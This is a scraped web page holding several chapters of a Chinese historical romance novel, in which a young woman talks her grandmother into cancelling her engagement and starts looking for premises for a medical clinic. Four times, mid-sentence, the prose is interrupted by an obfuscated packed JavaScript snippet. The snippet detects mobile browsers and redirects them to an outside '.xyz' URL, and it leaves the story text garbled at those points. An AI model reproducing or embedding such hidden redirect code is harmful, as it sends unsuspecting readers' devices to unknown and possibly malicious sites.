药材虽保住了,她这只右手筋骨却遭重创。 回府后,顾不上好好休养,又操办了柳氏的后事,因此落下病根。 自此,每逢心绪激荡之时,右手指节便会如这般不受控制地飞速点动。 老夫人这是动了怒了! “今日在纪府——”江云裳的声音沉沉响起,似在尽力按捺着胸腔中翻涌的躁怒与不耐,“可是纪夫人对你说了什么不中听的话?” 她平生最厌烦麻烦,府中琐事若非触及底线,素来睁只眼闭只眼。 可今夜,先是嫁妆风波,紧接着又是这晴天霹雳般的退婚。 她倒要听听,这素来谨小慎微、安分守己的孙女,今日缘何接连掀起这般惊涛骇浪! 孟玉桐缓缓摇头,姿态恭顺:“纪夫人温婉慈和,气度雍容,待孙女极好,并无半句不妥之言。” 她话音微顿,抬眸迎上江云裳探究目光,“只是,今日景福公主亦在席间。公主殿下金尊玉贵,见了孙女,便直言不讳道:‘商户之女,终究是下乘之选。与纪公子这般的人中龙凤相配,实乃云泥之别,徒惹非议。’” 她静静觑着祖母的神色,果然捕捉到在听到“商户之女”、“云泥之别”这八个字时,江云裳脸上那道疤痕,极其细微地狠狠抽搐了一下。 孟玉桐心下了然,继续补充:“孙女当时心中自是难过。然归来后细细思量,公主殿下所言非虚。” “今日孙女置身纪府华堂,满目皆是簪缨贵眷。纪夫人涵养深厚,未曾对这门亲事流露半分不豫。然旁人目光……” 她唇角牵起一丝极淡的讽意,“那些夫人小姐们瞧着孙女的眼神,或明或暗,无不透着轻鄙与嘲弄。仿佛全天下人都认定,这桩婚事是孟家费尽心机攀附,是孙女捡了天大的便宜,占了不该占的位置。” “只因这些旁人的流言蜚语,”江云裳的声音陡然拔高,带着刺耳冷厉,右手点叩扶手的频率渐快,“你便自乱阵脚?纪家百年清誉,最重信诺!既已定下婚约,断无轻易反悔之理!你是与纪家结亲,不是与那些长舌妇论短长!” “祖母明鉴。”孟玉桐微微福身,姿态依旧恭谨,言辞却寸步不让,“孙女所虑,并非自身荣辱。而是担忧,孙女尚未过门,便已为纪家招致如潮非议。 “纵使纪家重信守诺,纪夫人与纪公子品性高洁,可天长日久,再深厚的情分,再坚固的信义,也经不起这众口铄金、积毁销骨的消磨。” 她抬起头,眸中清光湛然:“届时,恐非结亲,反成结怨!得不偿失,悔之晚矣!” 孟玉桐上前半步,直指要害:“孙女斗胆直言,这门亲事,原是仰赖祖母当年施与纪家的恩情才得以缔结。此等恩义,用在孙女的姻缘上,实属明珠暗投。” “不若趁此良机,主动退婚,全了孟纪两家颜面与情谊。纪家感念祖母深明大义,必心生愧疚。 “他日孟家商路之上,若有需纪家援手之处,譬如药材通路、贵人引荐,纪家焉能不念及今日退婚之情,倾力相帮?此乃,以虚名换实利,以姻缘换商途,方是物尽其用,不负恩泽!” 江云裳喉间忽地溢出一声短促的冷笑,“桐丫头,你今夜倒不像是来与祖母商量的。” 她身体微微前倾,那双沉淀着岁月寒霜的眼眸,直直看向孟玉桐,“你将这其中的盘算、利害,剖析得如此分明透彻。那你倒说说看,我当初为何要费尽心思,攀上纪家这门高枝,定下你这桩婚事?” 孟玉桐坦然迎着她的目光,声音清晰沉稳,“自祖父携家业迁至临安,在您二老呕心沥血经营下,孟家药材行曾盛极一时,跻身临安三大药商之列。然祖父早逝,父亲难承其业。这些年,全副重担皆由祖母一肩扛起。 “祖父与您当年苦心经营的人脉网,随着岁月流逝,已渐如沙□□塌。如今家中生意看似根基犹在,实则如困守孤城,销路日蹙,生机渐萎。” 她微微一顿,目光如炬,“与纪家结亲,便是您为这盘死局,寻到的一线破局之机。借纪家杏林世家之声威,百年清誉之底蕴,重开商路,再续人脉,解我孟家燃眉之急。” “你既看得这般通透,”江云裳的声音陡然拔高,“知晓这桩婚事于孟家乃是雪中送炭!那你凭什么以为,我会应了你,去退掉这门亲?!” 一旁的吴嬷嬷听得心头一紧,忍不住轻轻叹了口气。 老夫人这话听着竟像是将大小姐全然当作了一枚换取家族利益的棋子。可她知道,事实并非全然如此。 老夫人这性子啊,越是关切,那话说出来便越是伤人。 “祖母,”孟玉桐并未因这厉声质问退缩,腰背反而挺得更直,目光灼亮,“孙女以为,这桩婚事,绝非解决孟家困境的上策。 “它或可解一时之急,却如同饮鸩止渴,治标不治本!依靠这单薄脆弱、全系于他人一念之间的姻亲纽带,如何能保我孟家长盛不衰? “纪家今日可因恩义履约,他日焉知不会因流言或利益,心生罅隙?” “哦?”江云裳倏然坐直了身体,虽虚靠在椅背上,周身气势不减,“听你这般侃侃而谈,莫非你有更好的法子?” “祖母!”孟玉桐不再犹豫,骤然撩开衣摆,双膝一屈,直挺挺地跪倒在冰冷坚硬的青砖地上! “大姑娘!使不得!”吴嬷嬷惊呼一声,急忙上前欲扶。 “退下!”江云裳厉声喝止,目光死死锁住跪在堂下的孙女。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127374|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜这丫头的一举一动,一言一行,都与往日的谨小慎微截然不同。 仿佛褪去了一层温顺的壳,露出了内里的棱角。 她双目微阖,再睁开时,眸底掠过审视——这个桐丫头,何时变得如此陌生,又如此令人心惊? 孟玉桐双手高举过顶,姿态郑重地向着上首的江云裳深深叩首,额头触及地面,发出一声闷响: “孙女斗胆,先行向祖母请罪。昔日祖母教导孙女研习医术时,曾严令不得在外人面前显露分毫。 “然数日前,孙女于桃花街偶遇纪家小公子突发腹痛,危在旦夕。孙女深知人命关天,刻不容缓,情急之下出手施救,违背了与祖母的约定。此乃孙女之过,甘受祖母责罚!” “绕了这许多弯子,”江云裳的声音有些不耐烦,“你到底想说什么?” 孟玉桐抬起头,额上已印上一抹淡红,眼神却亮得惊人: “孙女听闻,翰林医官院新近颁布政令,广纳民间良医。凡医馆医术精湛,经考核卓异者,可录入官家名册,享朝廷扶持,承办公差。 “孙女不才,蒙祖母多年悉心教导,一身医术虽不敢称登峰造极,却也绝非庸碌之辈。当日匆忙救治纪小公子后,更得纪昀公子亲口评断:‘手法精纯老道,强过城中泰半坐馆名医。’” 她深吸一口气,终于道出最终所求: “恳请祖母允准孙女开一间医馆。若能借此良机跻身官册,则孟家困境,非但可解,更能筑起一座由我孟家血脉亲手夯实的靠山。 “此山,根基在我,兴衰由我,岂不比那依附纪家、仰人鼻息的姻亲纽带,更坚固、更长久、更牢不可破?” “呵!”江云裳像是听到了天大的笑话,嘴角扯起一抹极冷的弧度,带着毫不掩饰的讥诮,“黄口小儿,口气吞天!开医馆?入官册?你当这是孩童过家家的儿戏? “你一无人脉根基,二无雄厚资财,仅凭几句不知天高地厚的狂言,就想一步登天?我教你医术,可不是让你学得这般狂悖无知!” 面对这毫不留情的斥责,孟玉桐非但没有退缩,反而坦然望着江云裳: “祖母!”她的声音不高,却带着震慑人心的力量,“母亲在世时,曾多次对孙女言道:‘阿萤,你骨子里那股不肯低头的倔强,像极了你祖母年轻时的样子。一样的张扬恣意,觉着没有什么事是自己办不成的。’” “您年轻时曾那样惊才绝艳,即便如今宝刀归鞘,掩去锋芒,可阿萤相信,您的心仍是锋利的。” 孟玉桐的目光紧紧锁住江云裳微微颤抖的右手,“您心中是有不甘的吧。” 江云裳将手收拢了起来,握拳搁在膝头。 吴嬷嬷心惊肉跳地听着这一番话,紧张地瞧着她,她搁在膝头的手有轻微的颤意。 “大姑娘,您今日是累糊涂了罢,不若早些回去休息。”吴嬷嬷瞧瞧这边,又瞧瞧那边,急得似热锅上的蚂蚁。 这大姑娘如何知道老夫人年轻时的事情?定是那桂玉芬在她面前说了些什么,这不知轻重的坏事老货! “祖母敢不敢同我打个赌?”孟玉桐仍跪着,地板上的凉意透过膝盖一丝丝往上透。 16. 第 16 章 孟玉桐跪得笔直,手中将那枚玉葫芦攥得更紧,“此次医馆选拔的期限为一年,我与祖母立下一年之约,若到时我顺利入选,往后我的婚事由我自己做主。若我不能做到,祖母让我嫁谁,我便嫁谁,绝无二话。” 江云裳望着孙女倔强的眼,心竟不受控制地跟着猛然抽了抽。 柳氏说的不错,这丫头的骨子里那一点倔劲与她相似。 可这并非幸事。 她花了近十年,一点点改去她身上那些不为世人所接受的,甚至被称之为‘离经叛道’的特质。 在她的教导下,孟玉桐成长得很好。 见过她的人都会赞一句,温雅娴静,大方娴熟,这才是世人喜爱的闺秀模样。 这样的孟玉桐,应该嫁入纪家,相夫教子,一世安稳。 这是江云裳为她安排好的路,亦是她在自己能力范围内,所能觅得的最安稳、最体面的归宿。 一切明明都已步入正轨…… 为何?为何忽然之间,精心构建的精美楼阁轰然坍塌? 温顺的羔羊露出了利齿与犄角? 应当立刻厉声喝止她! 斥责她痴心妄想! 痛骂她悖逆纲常! 堂堂世家小姐,岂能如市井游医般抛头露面,坐堂行医? 成何体统! 然而……为何胸腔内那颗沉寂多年的心,此刻竟如战鼓般“咚咚”狂擂? 为何四肢百骸沉寂已久的血液,竟汹涌沸腾起来? 她的右手攥得更紧,可那丝颤抖还是从指缝间溢出,她觉得手上这道老伤口也跟着抽疼起来…… 孟玉桐跪着往前走,双膝在冰冷坚硬的青砖地上挪移,发出细微却惊心的摩擦声,一路跪行至江云裳的膝前。 她伸出那双微凉的手,轻轻地覆在江云裳的右手上。 她仰起头,眼睛亮得惊人,“祖母,阿萤有私心,阿萤不想做后宅中只能依附丈夫的菟丝花。阿萤想做乔木,既能为自己撑起一片天,未来,也能成为祖母的依靠。” 江云裳的右手,终于渐渐平稳下来,不再抖动了。 …… 子夜已过,万籁俱寂。 正厅内,香炉早已熄了最后一点火星,只余一缕冷香在凝滞的空气中缓缓飘散。 江云裳望着眼前这空荡荡的厅堂,指尖无意识地抚过冰凉的扶手,心头竟也掠过一丝恍惚。 她不知自己是如何鬼迷了心窍,竟应下了这事。 “老……老夫人,”吴嬷嬷小心翼翼托着孟玉桐留下的那块碧玉双鱼佩,如同捧着一块烫手山芋,“这……这纪家的定亲信物……该如何处置?” 江云裳没有立刻回答,只是将整个身体的重量缓缓卸向椅背,深深陷了进去。 她阖上眼,声音像是从很远的地方飘来,带着深深的倦意:“备几份厚礼,挑拣库房里压箱底的好东西。过两日,我亲自去纪府,将这信物原样奉还。” “老夫人!”吴嬷嬷急得上前一步,声音里满是痛惜,“这、这亲事当真就这么退了?纪家公子那般品貌家世,临安城里打着灯笼也难寻第二份啊!大姑娘她年轻气盛,您怎么也跟着……” 江云裳缓缓睁开眼,目光却没有焦距地落在跳跃的烛火上。 琉璃灯罩里,一点灯花“噼啪”轻爆,溅起细小的火星,转瞬即逝。 “昨夜在庄子上,”她开口,声音低沉得如同梦呓,“我做了个梦。” 吴嬷嬷屏住呼吸。 “我梦见桐丫头穿着大红嫁衣,嫁进了纪府那深院……”江云裳的视线仿佛穿透了眼前的烛火,看到了极其遥远而锥心的景象,眼中流露出几分罕有的、深藏的疼惜,“她过得很不好。像一株失了水土的花,一日日枯萎下去,最后只剩下一副冰冷的棺椁……” 吴嬷嬷倒吸一口凉气,回过神来,连忙宽慰:“老夫人!那、那不过是个梦罢了!梦境虚妄,如何能当真?大姑娘福泽深厚,定能……” “当真?”江云裳打断她,嘴角扯起一抹极淡的弧度,目光终于有了焦点,锐利而清明,“是梦,却未必是虚妄。” “今日桐丫头有句话,说得极对。纪家再是重诺守信,家风清正,可人心终究是这世上最易变、最难测之物。 “情深似海尚会干涸,何况这始于恩义、困于流言的姻亲?”她顿了顿,“天长日久,再深的情分也总有消磨殆尽的一日。 “若真到了那一日。纪家那深宅大院,反可能是吞噬她的泥潭。他们护不住她。” 她想起今夜孟玉桐的种种:与秦姨娘交锋时的隐忍与锋芒,在她面前剖析利害时的冷静与通透,立下赌约时的决绝与孤勇…… “她今日,”江云裳的指尖轻轻敲击了一下扶手,嘴角竟牵起一丝极淡的笑意,带着几分兴味,“倒真是让我刮目相看。行事有章法,看事也分明,胆魄更是不小。” 她望向窗外浓得化不开的夜色,声音极轻: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127375|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我倒是真有些好奇了,这一年之期过后,她究竟能不能赢下这场赌约?” * 两日后,天清气朗,微风和畅。 正午的日光直直落在杏桃院的青檐飞瓦上,院子里升腾着股闷闷热气。 孟玉桐慵懒地倚在回廊檐下的一张湘妃竹摇椅上,素手轻摇一柄素纱团扇。 她含笑望着仆役们鱼贯而入,将一箱箱、一匣匣贴着红封的物件小心翼翼地抬进院子,整齐码放在廊前那片被树荫筛下。 时不时,她清越的声音便会响起,带着几分闲适的关切:“慢些,仔细脚下,莫磕碰了边角。” 白芷搬了个小杌子,挨在孟玉桐脚边坐下,凑近了压低声音,带着一丝谨慎: “小姐,咱们真不去库房盯着点?那秦姨娘惯会耍滑,万一趁乱昧下几件要紧的,或是拿些成色差的来充数,可怎么好?” 孟玉桐提起团扇,用扇柄那头轻轻点了点白芷的额头,唇角噙着笃定的笑意:“傻丫头,祖母金口玉言发了话,她若还想稳稳当当地掌着府里那串钥匙,此刻巴不得把东西原封不动、仔仔细细地送回来,哪还敢动这等自掘坟墓的歪心思?” 白芷摸摸脑袋,“她最好有这般聪明。” 直忙到日头西斜,院子里堆放的箱笼匣盒才总算清点完毕。 秦姨娘额上沁着一层薄汗,鬓角也有些散乱,强压着满心不情愿,将一份誊抄清楚的嫁妆清单递到孟玉桐面前,语气硬邦邦的:“桐姐儿,东西都在这儿了,单子你也拿好。日后若再短了什么少了什么,可别又红口白牙地赖到姨娘头上!” 孟玉桐这才从摇椅上盈盈起身,接过清单,凝神细看,指尖顺着条目一行行比对下去,神色专注。 确认无误后,她将清单转交给侍立一旁的桂嬷嬷:“嬷嬷,劳烦您收妥了。” “姨娘辛苦了,不若留下喝盏清茶,歇歇脚再走?”孟玉桐转向秦姨娘,展颜一笑。 笑容明艳,衬得院中那粉的白的树树花朵都失了色。 秦姨娘被她这笑容刺得心头一堵,扯了扯嘴角,阴阳怪气道:“哟,可不敢叨扰桐姐儿的好茶!回头一个不小心,再落个贪图先夫人遗物的罪名,姨娘我浑身是嘴也说不清了!” “姨娘既不愿留下用茶,那桐儿便不虚留了。”孟玉桐笑意不变,目光却倏然落在秦姨娘下意识想用宽袖遮掩的腕间,抬手虚虚一点,道:“只是姨娘莫要忘了,将腕间的镯子也该一并入了库才是。” 17. 第 17 章 秦姨娘的脸色瞬间涨得通红,旋即又因羞恼转为铁青。 她猛地将腕上那对金光璀璨,宝石灼目的手钏褪下,几乎是砸进了孟玉桐怀里,尖声道:“谁稀罕你这点破铜烂铁!当谁都跟你娘似的,满身金银俗不可耐!” 说罢,再不敢停留,恨恨地一跺脚,扭身便冲出了杏桃院的月洞门,背影仓皇。 白芷冲着那消失的背影,狠狠啐了一口:“呸!装什么清高!不喜欢还天天当个宝似的藏着掖着,又生怕别人瞧不见,时不时撩起袖子显摆!打量谁不知道她那点龌龊心思呢!当谁愿意瞧她啊!” 孟玉桐拿起那一对金光闪闪的手钏,阳光穿过金丝缝隙,在上头折射出耀眼璀璨的光彩,映亮了她含笑的眼。 她唇角弯起,小心地将手钏收好,转身走向院子东侧那间专门辟出来存放母亲嫁妆的耳房。 进了耳房,但见靠墙整齐排列着十数个厚重的樟木箱和一只紫檀木匣,是方才清点好的母亲的嫁妆。 秦州自古盛产金玉,母亲的嫁妆也以此类为大宗。 靠里几个箱笼打开着,里面分门别类码放着各色光华璀璨的首饰。赤金点翠头面、羊脂白玉镯、累丝嵌宝项圈、珍珠璎珞……孟玉桐只略略看了一眼,便上前一一关上了箱子。 她转身,目光落在那只静静置于多宝格顶层的紫檀木匣上。 匣身深郁,触手温润微凉。 轻轻拨开黄铜小扣,里面码着厚厚一叠银票,还有一个塞得鼓鼓囊囊的青灰色织锦荷包。 银票面额大小都有,从一百两到一千两,厚厚一沓,算下来足足三千五百两。 那沉甸甸的荷包里,装的是方便花用的各色银锭子和碎银子,掂着得有二百两上下。 指尖碰到荷包那熟悉的料子,一股酸涩猛地冲上鼻尖,眼前瞬间就模糊了。 孟玉桐仿佛又看见母亲柳氏坐在那里。 从她很小的时候起,母亲每天忙完家事,总会坐在这妆台前,小心翼翼地从妆奁匣子或者袖袋里,摸出些散碎银子铜钱。 有时几钱,有时几两,都仔细地放进这个紫檀木匣子里。 窗外的日头透进来,正好照在母亲低垂的、温柔又专注的侧脸上。 “阿萤来,”母亲总喜欢拉过她的小手,一起摸着匣子底,感受着它一点点变沉,嗓子里带着一种满足的叹息,“匣子越沉啊,娘这心里就越踏实。” “都是给我的吗?”小小的她仰着脸问。 “嗯,都是给我们阿萤攒的。”母亲笑着点点她的鼻尖,眼里的光温柔得像要溢出来,“娘要给我们阿萤攒下一座金山银山,以后啊,我们阿萤想做什么就做什么,想去哪儿就去哪儿,谁也不能给我们阿萤半点委屈受……” 母亲离世前的景象,历历在目。 那时母亲已气若游丝,却仍固执地要人捧来这紫檀匣。 她冰冷的手紧紧攥着自己。 “阿萤……”母亲的声音微弱,仿佛风一吹就会散,“这匣子……还是不够沉啊……不知道……够不够给我们阿萤……开一间气派的医馆……若是不够……”她眼中滚下泪来,“还有外祖母留给我的那些金玉首饰……那些……都是你外祖母一件件亲手挑的……” 她喘了口气,用尽最后一丝力气,颤抖着从枕下摸出自己随身多年的一只织锦荷包,最后一次,猛地掷进了敞开的紫檀匣中。 “咚!” 一声沉闷而清晰的声响,仿佛砸在年幼孟玉桐的心尖上。 “咚!” 孟玉桐失神间,支摘窗被一只鸟雀撞得关拢起来。 屋子里的光影瞬间被收去大半。 她深吸一口气,压下翻涌的心绪,小心翼翼地将那只紫檀木匣捧起,稳稳地捧回了自己内室。 入了屋子,她从靠墙的黄花梨木多宝阁深处,取出一个略小的填漆戗金木匣,里面是她上回清点出的私房体己,约莫五百两。她将两匣中的银票、银锭、碎银,仔细清点汇拢。手头银钱总计四千二百两。 指尖划过冰凉的银票边缘,孟玉桐的心神却异常冷静。前世在纪家,她曾协助打理过纪家在御街一带的数间铺面,对临安城核心地段的租金、人工、物料开销了熟于心。 这笔钱,在御街中段租个位置不错、格局方正的铺面,是足够了。可开医馆哪是光租个铺子就行的? 药材,特别是那些名贵药材的采买囤货、懂药材的伙计、定做药柜、铺子里的修整装潢……哪一样不是得大把砸银子进去? 这四千二百两,必须精打细算。 她从厚厚一沓银票里,抽出三张一百两面额的银票,抬高声音唤道:“桂嬷嬷!” 桂嬷嬷应声进来,脸上带着点忧色。 “嬷嬷,之前托您找的那位孙牙郎,孙胜,那边有信儿了吗?” 这位孙胜孙牙郎,孟玉桐上辈子就知道他。 这人在临安城里是出了名的“地头熟”,路子野,消息灵,三教九流皆有往来。 最难得的是他眼光毒辣,心思活络,深谙人情世故,常能替主顾寻到合乎心意又价格公道的铺面产业,且口风甚紧,办事牢靠。 桂嬷嬷连忙点头:“回姑娘,孙牙郎递话进来了,说姑娘提的要求他都记下了。眼下御街那块儿正好空出来几间铺子,地段和格局都挺合姑娘的心意。他问姑娘什么时候方便,他亲自带姑娘过去瞧瞧。” 孟玉桐听了,目光转向窗外。 正是傍晚,天边烧着大片大片的晚霞,金红一片,烧得半边天都通红的,连院子里都镀上了一层暖融融的金光。 微风吹到脸上,还带着白天的暖意,又混着一丝清爽,让人胸口那股劲儿也跟着提了起来,觉得眼前豁亮。 她只觉得一股大干一场的酣畅之气在胸中激荡,豁然起身:“择日不如撞日,嬷嬷,叫上白芷,我们现在就去。” 桂嬷嬷看着孟玉桐眉宇间飞扬的神采,心中却是七上八下。 她嘴唇嗫嚅了几下,瞧着姑娘难得的兴头,本欲将劝阻的话咽下,可终究是忧心压过了顾虑,忍不住上前一步,苦口婆心地劝道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132393|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘……您、您再仔细思量思量啊!这开医馆……绝非儿戏。且不说这银子投进去,若有个闪失,那便是泼天的损失。单是这‘抛头露面、坐堂行医’的名声……” 桂嬷嬷的声音带着颤抖,“姑娘您是未出阁的千金。这临安城的唾沫星子,怕是顷刻间就能将人淹死啊。还有纪家那门亲事……老夫人虽允了您去退,可、可这亲事若真退了,您又开医馆不成,往后……往后可如何是好?当真是……得不偿失啊!” 两日前,孟玉桐从松风院回来不久,吴嬷嬷便气势汹汹地杀到杏桃院,对着桂嬷嬷劈头盖脸就是一通厉声斥责,直骂她是“老糊涂”、“坏了心肝的老货”! 责备她不该将老夫人那些陈年旧事翻出来嚼舌根,撩拨得大姑娘“心思野了”,如今连纪家这般打着灯笼难寻的好亲事都闹着要退,竟异想天开要去开什么医馆! 桂嬷嬷被骂得心惊肉跳,羞愧难当,直觉得是自己多嘴害了姑娘。 她找到孟玉桐,抹着眼泪,掏心掏肺地劝了又劝,恨不得将心窝子都掏出来。 可无论她如何苦劝,孟玉桐只是含笑听着,末了温声回一句“嬷嬷心意我懂,我心里有数”,那神情,分明是一个字也没听进去! 她想拉白芷那丫头一起劝劝,谁知那丫头一听要开医馆,眼睛瞪得溜圆,非但不忧,反而拍着手连声叫好,缠着姑娘问何时去挑铺子、她要当第一个学徒! 气得桂嬷嬷差点背过气去。 一想到这些,桂嬷嬷只觉得心口沉甸甸的,像压了块巨石。 孟玉桐已走到门口,闻言脚步顿住。她并未立刻回头,只是静静站了片刻。 傍晚的霞光从门外斜斜照入,勾勒出她纤细挺直的背影。 然后,她缓缓转过身来。 脸上并无愠色,亦无激动,只有一片平静。然而那双眸子,在霞光的映衬下,染上明丽的色彩。 她看着桂嬷嬷忧心忡忡的眼,声音清晰而坚定: “嬷嬷,您怕的,是银子打了水漂,是世人的指指点点,是阿萤日后无依无靠。” 她微微一顿,目光越过桂嬷嬷,仿佛穿透了时光,看到了母亲殷切期盼的脸。 “可阿萤怕的,是辜负了这匣子里,母亲用一生心血为阿萤攒下的‘底气’和‘可能’。是辜负了祖母应下赌约时,对阿萤的一丝期待。” 更是辜负了自己重活一世,想要亲手握住命运的这份不甘。 她字字千钧,敲在桂嬷嬷心上: “人活于世,若因畏惧人言与未知的失败,便连尝试的勇气都失去,那与困死在这四方庭院中的笼鸟,又有何异? “嬷嬷,您愿意看着阿萤做那永远只能依附他人、看人眼色而活的笼中雀吗?” “嬷嬷,让阿萤试一试罢。” 桂嬷嬷微微晃神,方才姑娘那模样,与年轻时的老夫人倒是有七八分相像啊! 罢了,这一家子,都是倔脾气,说不动,说不听啊! 桂嬷嬷败下阵来,终于挪动了步子,“老奴这就去备车。” 18. 第 18 章 马车辚辚,自通江桥孟府驶出,车轮碾过御街平整的青石板,最终停在了御街中段、赫赫有名的“和乐楼”旁侧。 早已候在路边的孙胜,一见桂嬷嬷探出身,脸上立刻堆起一团热情的笑意,快步迎上,与桂嬷嬷一左一右,稳稳地搀扶着孟玉桐步下马车。 孙胜此人,约莫四十上下,身形精瘦利落,穿着一身洗得发白的靛蓝细布短褐,足蹬千层底布鞋,打扮得干净利索。 他一张瘦长的脸,一双细长的眼睛总是微微眯着,眼珠转动间透着精光,嘴角天然带着笑纹,一看便是八面玲珑、心思活络的市井能人。 “孟姑娘安好!”孙胜拱手一礼,目光在孟玉桐身上快速扫过,带着职业性的探究,“姑娘这是……替府上哪位爷们儿来看铺面?” 他见孟玉桐年轻女子打扮,惯性地以为她是代家中男丁出面。 孟玉桐微微摇头,声音清晰平静:“不,是替我自己看。” 孙胜眼中讶异之色一闪而逝,随即恢复如常,笑容不变,仿佛只是听到一件寻常小事:“姑娘好魄力!这边请,小的先带您瞧瞧这头一间。” 他引着众人走向和乐楼旁一间略显冷清的铺面,“这铺子原先是家文玩铺子,名唤‘墨韵斋’。您瞧这门脸儿,地段是顶顶好的!可惜啊……” 他压低声音,带着点惋惜,“开在这和乐楼边上,来来往往的贵人公子们,心思都在那酒宴笙歌、美人歌舞上,谁有闲情逸致来淘弄笔墨纸砚?这不,掌柜的撑了半年,实在撑不下去,只好关张走人了。” 孙胜最让人省心的,便是这份“拿钱办事,不问缘由”的聪明与分寸。 孟玉桐点点头,跟着孙胜往铺子里头走。 铺面不算小,四四方方,因空置不久,尚算干净。 靠墙还留着几排空落落的博古架,地上散落着些废弃的包装纸。 孙胜热情地指点着:“姑娘您看,这格局多敞亮!前后通透,稍加修缮,隔出诊室药房都绰绰有余!最关键的是这租金,”他伸出两根手指比划了一下,“地段如此金贵,一年才要五百八十两!当真是打着灯笼也难寻的实惠!” 恰在此时,隔壁和乐楼正值晚膳高峰,丝竹管弦之声、觥筹交错之音、歌姬婉转之调,夹杂着阵阵喝彩喧哗,如同潮水般毫无阻隔地涌进这空旷的铺面,震得人耳膜嗡嗡作响。 孟玉桐蹙了蹙眉,毫不避讳地点出:“孙先生,此地太过喧闹了。医馆需清净,病人需静养,这般嘈杂,如何能行?” 孙胜被这直白的点破弄得一愣,心知眼前这位姑娘不是好糊弄的主儿,立刻转换话头,笑容更盛:“姑娘明鉴!确是热闹了些。不过您想啊,这来往的都是什么人?非富即贵!医馆开在这儿,名头不消几日便能传遍临安城!到时候还愁没有生意上门吗?” 孟玉桐淡淡一笑,摇了摇头:“孙先生此言差矣。和乐楼的常客,家中自有相熟的名医供奉,出行亦有随行医官。他们岂会看得上一个初出茅庐、且是女子开设的小小医馆?” 孙胜闻言,猛地一拍大腿,由衷赞道:“哎哟!姑娘真是心思通透!是小的想岔了!此处不妥,咱们还有别处!姑娘请随我来!” 一行人沿着御街,自和乐楼一路向北,途经和丰楼,其间又看了四五家铺面。不是地段过于偏僻、人流稀少,便是铺面格局逼仄、难以改造,或是租金高得离谱、远超预算。直走到御街北段,靠近新安桥、下瓦子边缘处,才终于寻到一间合意的。 这铺面位置适中,既不过分喧闹,也不至于冷清。铺子坐北朝南,门脸宽敞,进深也足,原是间绸缎庄,搬走后格局未大动,只需稍作调整。最难得是租金公道,一年四百二十两。 孟玉桐里外仔细看过,又与孙胜就修缮细节略作商讨,心中已有了计较。她行事爽利,当即拍板:“就是这里了。”并爽快地付下定钱,约定三日后正式签契。 回程马车上,白芷兴奋得小脸通红,叽叽喳喳:“姑娘!咱们真的要开医馆了!感觉像做梦一样!姑娘,接下来咱们做什么?是不是要招学徒?要买好多好多药材?” “下一步啊……”孟玉桐故作沉吟,看着白芷凑过来的小脑袋和十足期待的眼,忍不住弯起手指,轻轻敲了敲她的额角,笑道:“下一步自然是先去祭一祭五脏庙了。忙活了大半日,你姑娘我可是饿得前胸贴后背了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137252|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白芷这才摸着脑袋反应过来,揉揉肚子:“哎呀!奴婢光顾着高兴,都把饿忘了!姑娘这一说,肚子真叫唤了!” 马车在一家叫“珍味楼”的食肆门口停稳,对面就是御街上顶有名的首饰铺子“八珍坊”。 三人上了二楼雅间,点了几样清淡的小菜和点心。 饭菜上桌,孟玉桐略吃了几口,便放下筷子,对桂嬷嬷和白芷说:“我差不多了,去对面八珍坊随便逛逛,你们慢慢吃。等会儿逛完了,我就回来寻你们。” 桂嬷嬷赶紧放下汤匙:“姑娘当心些,街上人多,早点回来。” 孟玉桐点点头,起身缓步下楼,穿过热闹的街面,走向那灯火通明的八珍坊。 此时天色已完全暗沉下来,御街两侧的店铺纷纷点起灯笼。 八珍坊是临安城首屈一指的首饰楼,门楣高悬数盏硕大的琉璃灯,映得门前亮如白昼。 橱窗里还装着用锡箔精心打光的灯牌,把里面摆着的那些珍珠宝贝映得流光溢彩,气派非凡。 店里这会儿客人不多,只有两个穿着体面绸衫的伙计,一左一右地靠在柜台边上,脸上没什么精神,瞧着有点懒洋洋的。 这八珍坊,是荣亲王府的产业,如今归王府那位世子爷李璟管着。 这位世子爷,在临安城是出了名的纨绔浪荡子。 